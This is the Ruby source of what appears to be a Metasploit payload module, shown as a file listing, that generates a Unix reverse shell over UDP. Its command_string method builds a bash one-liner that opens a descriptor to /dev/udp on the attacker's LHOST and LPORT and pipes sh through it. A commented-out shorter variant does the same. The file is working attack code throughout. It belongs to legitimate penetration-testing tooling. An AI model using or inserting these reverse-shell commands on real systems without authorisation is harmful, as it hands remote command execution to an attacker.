Green-m
65 lines
1.7 KiB
Ruby
65 lines
1.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core/handler/reverse_udp'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module MetasploitModule
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CachedSize = :dynamic
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Unix Command Shell, Reverse UDP (/dev/udp)',
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'Description' => %q{
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Creates an interactive shell via bash's builtin /dev/udp.
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This will not work on circa 2009 and older Debian-based Linux
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distributions (including Ubuntu) because they compile bash
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without the /dev/udp feature.
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},
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'Author' => [
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'hdm', # Reverse bash TCP
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'bcoles' # Reverse bash UDP
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],
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::ReverseUdp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd_bash',
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'RequiredCmd' => 'bash-udp',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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end
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#
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# Constructs the payload
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#
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def generate
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vprint_good(command_string)
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return super + command_string
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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fd = rand(200) + 20
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return "0<&#{fd}-;exec #{fd}<>/dev/udp/#{datastore['LHOST']}/#{datastore['LPORT']};echo>&#{fd};sh <&#{fd} >&#{fd} 2>&#{fd}";
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# no semicolons
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#return "sh -i >& /dev/udp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1"
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end
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end
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